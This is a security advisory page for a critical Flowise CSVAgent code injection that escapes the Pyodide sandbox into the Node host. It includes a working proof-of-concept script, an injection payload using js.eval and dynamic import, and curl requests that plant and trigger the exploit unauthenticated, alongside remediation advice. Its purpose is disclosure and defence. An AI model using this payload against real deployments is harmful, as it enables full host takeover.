GHSA-4j8x-x6v7-w9rq: Code Injection

Published Aug 4, 2026
·
Updated

Summary Flowise's CSVAgent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default js bridge to globalThis (which on Node.js exposes eval and dynamic import()), the attacker can break out of the Python string literal, hand a JS string to js.eval, dynamically import any Node built-in module (fs, childprocess, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (validatePythonCodeForDataFrame and validateCustomReadCSVFunction) are never applied to the bootstrap template.

A workspace user with chatflows:create (or any agentflows/chatflows update permission) plants a CSV Agent node with a crafted csvFile. Once the chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id endpoint, any unauthenticated request triggers the host RCE.

Details

Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

The run() method extracts the file segment from the data URI by splitting on , and using two pop() calls (lines 127–138):

ts } else { if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) { files = JSON.parse(csvFileBase64) } else { files = [csvFileBase64] }

for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() // discards trailing filename segment base64String += splitDataURI.pop() ?? '' // captures the segment we attack } }

The captured base64String is then interpolated verbatim into a Python source string at lines 156–171:

ts const code = import pandas as pd import base64 from io import StringIO import json

base64string = "${base64String}" // ← line 161: interpolation sink

decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8'))

df = pd.${customReadCSVFunc} mydict = df.dtypes.astype(str).todict() print(mydict) json.dumps(mydict) dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink

Validator gaps:

- validateCustomReadCSVFunction(customReadCSVFunc) runs on line 147, but this only validates the customReadCSV field, not base64String. - validatePythonCodeForDataFrame(pythonCode) runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template. - No content check (^[A-Za-z0-9+/=]$) is applied to base64String before interpolation.

Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts, lines 7–16):

ts export async function LoadPyodide(): Promise<PyodideInterface> { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) } return pyodideInstance }

Pyodide is loaded with default options. On Node.js, the default js module inside Pyodide bridges to globalThis, exposing the JS eval function and top-level dynamic import(). From injected Python, the attacker runs:

python import js await js.eval( "(async () => {" " const fs = await import('fs');" " fs.writeFileSync('proof.txt', 'pwned');" "})()" )

…which executes in the host Node.js process, not inside Pyodide's WASM sandbox. Substituting await import('childprocess') for await import('fs') yields arbitrary OS-command execution via cp.execSync(...) with the same primitive.

> Node-version note. The original PoC for this issue used > js.process.mainModule.require("childprocess"), which is a one-liner but > only works on Node ≤ 13 because process.mainModule was deprecated and now > returns undefined on Node 14+. The js.eval + dynamic-import() form > above works on any Node 13.2+ in both CommonJS and ESM contexts, and was > confirmed end-to-end against a stock flowise@3.1.2 running on Node > 20.20.2 — see Verified end-to-end against live Flowise > below.

Trigger path (post-plant): the route POST /api/v1/prediction/:id is in WHITELISTURLS (packages/server/src/utils/constants.ts:12); when the chatflow has no apikeyid set, it is reachable unauthenticated. A prediction request runs the chatflow, instantiates CSVAgent, and executes the malicious bootstrap.

PoC

Verified end-to-end on the cloned repo (commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit was based on).

Reproducer setup

Two files. Save the first as package.json, the second as reproa1pyodide.js, then npm install && node reproa1pyodide.js in the same directory.

package.json:

json { "name": "poc-flowise-s1", "version": "1.0.0", "type": "commonjs", "dependencies": { "pyodide": "^0.29.3" } }

reproa1pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI parser) and :156-171 (the Python template), then runs the assembled Python through real Pyodide. The injection segment is checked for commas before assembly to confirm it cannot be fragmented by the JS-side split(',').

js // Full host-RCE PoC for Flowise CSVAgent base64-injection. // // Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs // the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled // csvFile data URI. Demonstrates: // 1. JS-side template-literal interpolation produces malicious Python // 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path) // 3. Pyodide-on-Node js bridge reaches Node's fs module via dynamic // import('fs') -> host file write // // CONSTRAINTS: // csvFile is split on , by the agent (CSVAgent.ts:135-137) — segment[2] // of the data URI is what becomes base64string, so this segment must // contain NO raw , bytes. // Inside a Python double-quoted string literal, , is the escape // for ,. The data-URI parser sees the 6 raw bytes \, u, 0, 0, // 2, c (no commas), but Python's lexer turns them into commas at // runtime — letting us pass multiple arguments to JS functions inside // the Python source. // // NODE-VERSION NOTE: an earlier revision of this PoC used // cp = js.process.mainModule.require("childprocess"); cp.execSync(...) // which is shorter but only works on Node ≤ 13 — process.mainModule was // deprecated and now returns undefined on Node 14+, so the inner // .require(...) silently no-ops. The js.eval + dynamic-import() form // below works on any Node 13.2+ in both CommonJS and ESM contexts and was // confirmed end-to-end against flowise@3.1.2 running on Node 20.20.2.

const fs = require('fs') const path = require('path') const { loadPyodide } = require('pyodide')

const proofName = 'flowisea1pyodideproof.txt' const proofPath = path.resolve(dirname, proofName) const proofMarker = 'FLOWISEA1HOSTRCEviapyodidedynamicimport'

// --- Attacker payload (Python; comma-free) ---------------------------------- // Closes the base64string = " literal with ";, runs malicious Python, // then # comments out the surviving closing " so the rest of the // bootstrap template still parses. const pythonInjection = '";\n' + 'import js\n' + await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n + '#'

// Sanity: any commas would fragment the injection on the JS side. if (pythonInjection.includes(',')) { throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")') }

const csvFile = data:text/csv;base64,A,${pythonInjection},IGNORED

// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------ const csvFileBase64 = csvFile const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64] let base64String = '' for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() base64String += splitDataURI.pop() ?? '' }

// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------ // We omit import pandas as pd so we don't need to load pandas (~30 MB) just // to demonstrate the injection. The real flow's pyodide instance preloads // pandas via LoadPyodide() (core.ts:12). The injection point and validator // bypass are identical either way. const code = import base64 from io import StringIO import json

base64string = "${base64String}"

decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8')) print("post-injection bootstrap continued; base64string =", repr(base64string))

console.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---') console.log(code) console.log('--- end ---\n')

;(async () => { try { fs.unlinkSync(proofPath) } catch {}

console.log('[] Loading pyodide...') const pyodide = await loadPyodide() console.log('[] Pyodide loaded; running attacker-assembled Python...\n')

try { await pyodide.runPythonAsync(code) } catch (e) { console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):') console.log(String(e).split('\n').slice(0, 8).join('\n')) }

// give the spawned writeFileSync a moment to flush await new Promise((r) => setTimeout(r, 500))

console.log('\n--- Proof file at ' + proofPath + ' ---') if (fs.existsSync(proofPath)) { console.log(fs.readFileSync(proofPath, 'utf-8').trim()) console.log('\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.') } else { console.log('[-] Proof file not present.') } })()

What gets assembled

After the two pop() calls in CSVAgent.ts:135-137 extract the third comma-separated segment, the Python text passed to pyodide.runPythonAsync becomes (note that Python's lexer resolves the , escapes inside the string literal back to commas, so the JS code actually receives fs.writeFileSync('proof', 'marker')):

python import base64 from io import StringIO import json

base64string = ""; import js await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('flowisea1pyodideproof.txt', 'FLOWISEA1HOSTRCEviapyodidedynamicimport'); })()") #"

decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8')) ...

The "; closes line 161's string literal; the injected statements execute (awaiting the JS Promise that writes the proof file); the trailing # comments out the dangling " so the rest of the bootstrap parses. The remaining b64decode("") returns b'' and pd.readcsv (in the live template) then raises pandas.errors.EmptyDataError, but the fs.writeFileSync(...) call has already fired in the Node host.

Observed output (after deleting any prior proof file)

[] Loading pyodide... [] Pyodide loaded; running attacker-assembled Python...

--- Proof file at .../flowisea1pyodideproof.txt --- FLOWISEA1HOSTRCEviapyodidedynamicimport

[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.

The proof file flowisea1pyodideproof.txt is written by the Node host process via the Pyodide js bridge → js.eval(...) → (await import('fs')).writeFileSync(...), confirming the escape from the Pyodide WASM sandbox. The standalone repro omits import pandas, so no post-injection exception is raised — but the live template (pandas.readcsv on the empty buffer) throws pandas.errors.EmptyDataError after the host write has already happened, which is exactly the symptom an operator sees in the chat panel.

Verified end-to-end against live Flowise

The standalone repro above proves the validator-bypass + sandbox-escape primitive in isolation. The same payload was additionally verified against a stock flowise@3.1.2 install on Node 20.20.2:

| Step | Action | |---|---| | 1 | npm install -g flowise (Node 20.20.2, Linux x64) | | 2 | flowise start → bind on :3000 | | 3 | UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked) | | 4 | Plant the attached evil-csvagent-flow.json in the chatflows DB (UI import or POST /api/v1/chatflows) | | 5 | Open the chatflow → click chat → send any message | | 6 | Chat panel shows pandas.errors.EmptyDataError: No columns to parse from file | | 7 | /home/<user>/flowisea1proof.txt is now present, 46 bytes, content FLOWISEA1HOSTRCEviapyodidedynamicimport, owner-uid matches the Flowise process uid |

Reproduction artifacts (evil-csvagent-flow.json, build-flow-v2.js, test-flow.js, the captured evidence-bundle.txt) live at pocs/S1-csvagent-csvfile-rce/triage-response/. The chatflow JSON is built verbatim from Flowise's bundled marketplaces/chatflows/CSV Agent.json template with three minimal edits — the malicious csvFile data URI on csvAgent0, a placeholder credential on chatOpenAI0, and the sticky note removed — so it imports cleanly into any Flowise 3.x without the reactFlowNodeData.inputParams.find(...) 500 the maintainer initially saw when handed a hand-crafted minimal flow.

End-to-end against a live Flowise instance

The local PoC above proves the validator-bypass + sandbox-escape primitive. To reach the same primitive over HTTP against a deployed Flowise, two requests suffice:

bash Step 1 — authenticated chatflow author (any user with chatflows:create in OSS, this is typically every registered user) plants the flow. evil-csvagent-flow.json is a chatflow whose csvAgent node has inputs.csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED" curl -X POST https://target/api/v1/chatflows \ -H "Authorization: Bearer <api-key with chatflows:create>" \ -H "Content-Type: application/json" \ -d @evil-csvagent-flow.json → returns chatflow id, e.g. "<flow-uuid>"

Step 2 — anyone, no auth (the route is whitelisted at packages/server/src/utils/constants.ts:12) triggers execution: curl -X POST https://target/api/v1/prediction/<flow-uuid> \ -H "Content-Type: application/json" \ -d '{"question":"go"}'

Step 1 is the only authenticated step; Step 2 is unauthenticated when chatflow.apikeyid is unset (the default for newly created chatflows).

Impact

- Class: Remote Code Execution via Python-template injection escaping the Pyodide sandbox through the js bridge. - Affected: every Flowise deployment that exposes a chatflow containing a CSVAgent node where csvFile is operator-supplied (i.e., overridable via nodeOverrides for the API caller, or planted by any user with chatflow edit permission). - Prerequisites: one user with chatflows:create / chatflows:update / agentflows:create / agentflows:update to plant the chatflow once. The trigger is unauthenticated when the chatflow has no apikeyid set (the default for newly created chatflows). - Result: arbitrary OS-command execution as the Flowise process. Direct access to Flowise's encrypted-credentials key file, the entire database, the host filesystem, and any network resource the host can reach.

Metadata

- Affected versions: Confirmed at commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d (main, 2026-04-28) and at flowise@3.1.2. The vulnerable code (splitDataURI.pop() + template-string interpolation) appears unchanged across this range. Earlier 3.x versions with the same data-URI parsing pattern are also believed to be affected, but I did not verify each historical tag. - Fixed version: Unpatched at the audited commit. - CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H → Base score 9.9 (Critical). - AV:N — public /api/v1/prediction/:id trigger. - AC:L — deterministic; no race / timing. - PR:L — one user with chatflows:create (or equivalent) plants the chatflow. In OSS deployments, any registered user typically has this. - UI:N — no user interaction required at trigger time. - S:C — Pyodide's WASM/Python sandbox is the intended security authority for this code path; the js bridge escape and the validator bypass break out to the Node host process. - C:H / I:H / A:H — full host compromise. - CWE: CWE-94 (Improper Control of Generation of Code: 'Code Injection'); more specifically CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code: 'Eval Injection').

Remediation

Maintainer fix (preferred — eliminates string-interpolation entirely): pass the base64 value through Pyodide's globals.set API instead of template-string interpolation. In packages/components/nodes/agents/CSVAgent/CSVAgent.ts, replace the construction at lines 156–171 with something like:

ts const pyodide = await LoadPyodide() pyodide.globals.set('base64string', base64String) const code = import pandas as pd import base64 from io import StringIO import json

decodeddata = base64.b64decode(base64string)

csvdata = StringIO(decodeddata.decode('utf-8'))

df = pd.${customReadCSVFunc} mydict = df.dtypes.astype(str).todict() print(mydict) json.dumps(mydict) dataframeColDict = await pyodide.runPythonAsync(code)

This keeps the value as a Python str object that never enters the source text. Apply the same change to AirtableAgent.ts if it follows the same pattern.

Defense in depth (recommended as well): 1. Validate base64String against ^[A-Za-z0-9+/=]$ before interpolation (rejects every escape character used in the PoC). 2. Disable Pyodide's js module on load. Pyodide supports loadPyodide({ jsglobals: {} }) or the js-module-removal recipe; either prevents the bridge to globalThis.process on Node.js. Apply in packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide. 3. Run validatePythonCodeForDataFrame (or a stricter equivalent) over the bootstrap template, not only over the LLM-emitted code. The current ordering inverts the trust assumption. 4. Add a positive allow-list to validateCustomReadCSVFunction enumerating only safe pandas readers (e.g., readcsv and column-typed forms); exclude readpickle, readhtml, readxml, readparquet, readorc, readfeather, readjson (these are independently exploitable — see S2/S3 in the submission roadmap).

User mitigations until a patch ships: - Set chatflow.apikeyid on every chatflow that uses CSVAgent so validateFlowAPIKey enforces auth on /api/v1/prediction/:id. - Set chatbotConfig.allowedOrigins to a strict list (note: this only defends against browser callers, not curl/server-side). - Restrict chatflows:create / agentflows:create permissions to trusted users only. - Where possible, strip csvFile from the nodeOverrides allow-list on affected chatflows so it cannot be supplied at prediction time.

Affected Software

2 affected componentsFixes available
npm/flowise-components<=3.1.2
3.1.3
npm/flowise<=3.1.2
3.1.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/flowise-components to a version that resolves this vulnerability.

    Fixed in 3.1.3
  2. Upgrade

    Upgrade npm/flowise to a version that resolves this vulnerability.

    Fixed in 3.1.3
  3. Configuration

    In `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`, after the `splitDataURI.pop()` calls that extract the attacker-controlled base64 segment (lines 135–137 per the text), validate `base64String` with `^[A-Za-z0-9+/=]*$` before it is interpolated into the Python template string (line 161 is described as the interpolation sink `base64_string = "${base64String}"`).

    Flowise CSVAgent base64String validation for injected csvFile data-URI segment = Validate base64String against ^[A-Za-z0-9+/=]*$ before interpolation
  4. Configuration

    In `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`, replace the construction/interpolation of the Python source that sets `base64_string = "${base64String}"` (described for lines 156–171) with setting the value via the Pyodide bridge (the text proposes: `pyodide.globals.set('base64_string', base64String)`), so the injected value never becomes executable Python source.

    Flowise Pyodide integration (CSVAgent) python template construction method = Use Pyodide `globals.set('base64_string', base64String)` instead of template-string interpolation
  5. Configuration

    Ensure validation covers the bootstrap code path that assembles the Python executed by `pyodide.runPythonAsync(code)` (the text says the existing validators run for `customReadCSVFunc` but do not inspect this code path where the injected `base64String` is used).

    Flowise CSVAgent / CSV data readers customReadCSVFunc allow-list / validation (stricter equivalent) = Apply `validatePythonCodeForDataFrame` (or a stricter equivalent) over the bootstrap assembly path that handles csvFile base64 segment (not only the `customReadCSVFunc` field)
  6. Compensating control

    Restrict permissions so that only trusted users (not arbitrary users) can perform chatflow creation/update operations that can plant a CSVAgent-containing chatflow: limit `chatflows:create`, `chatflows:update`, `agentflows:create`.

  7. Compensating control

    Set `chatflow.apikeyid` on every chatflow that uses CSVAgent so requests to `POST /api/v1/prediction/:id` are not reachable unauthenticated (the text notes the exploit is unauthenticated when `apikeyid` is unset).

  8. Compensating control

    Set `chatbotConfig.allowedOrigins` to a strict allow-list (the text notes this is a user mitigation until a patch ships).

  9. Compensating control

    If possible, remove/strip `csvFile` from the `nodeOverrides` allow-list on the API route so attacker-supplied `csvFile` cannot be provided to CSVAgent.

  10. Compensating control

    Apply the same CSVAgent hardening/mitigation to `AirtableAgent.ts` if it follows the same pattern as CSVAgent (the text explicitly recommends applying the same change to AirtableAgent when affected).

Event History

Aug 4, 2026
Advisory Published
via GitHub·05:43 PM
Data Sourced
via GitHub·05:43 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-4j8x-x6v7-w9rq?

The severity of GHSA-4j8x-x6v7-w9rq is rated at 93, indicating a critical risk.

2

How do I fix GHSA-4j8x-x6v7-w9rq?

To fix GHSA-4j8x-x6v7-w9rq, update to the latest version of Flowise which addresses the code injection vulnerability.

3

What type of vulnerability is GHSA-4j8x-x6v7-w9rq?

GHSA-4j8x-x6v7-w9rq is a code injection vulnerability caused by improper handling of user input in CSVAgent.

4

Who is affected by GHSA-4j8x-x6v7-w9rq?

Users of the npm packages flowise-components and flowise that utilize the CSVAgent feature are affected by GHSA-4j8x-x6v7-w9rq.

5

What is the impact of GHSA-4j8x-x6v7-w9rq?

The impact of GHSA-4j8x-x6v7-w9rq includes potential remote code execution due to the execution of attacker-controlled code.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203